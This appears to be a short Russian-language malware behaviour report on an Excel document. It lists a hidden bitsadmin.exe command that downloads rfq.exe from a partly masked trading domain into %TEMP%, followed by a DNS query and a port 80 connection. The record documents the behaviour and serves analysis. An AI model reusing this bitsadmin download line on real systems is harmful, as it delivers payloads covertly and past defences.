Техническая информация
- '<SYSTEM32>\bitsadmin.exe' /transfer myFile /download /priority normal http://www.de####trading.com/rfq.exe %TEMP%\filename.exe
- %TEMP%\bit23b2.tmp
- %TEMP%\bit23b2.tmp
- %TEMP%\bit23b2.tmp в %TEMP%\filename.exe
- 'de####trading.com':80
- http://www.de####trading.com/rfq.exe
- DNS ASK de####trading.com
- '<SYSTEM32>\bitsadmin.exe' /transfer myFile /download /priority normal http://www.de####trading.com/rfq.exe %TEMP%\filename.exe' (со скрытым окном)
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding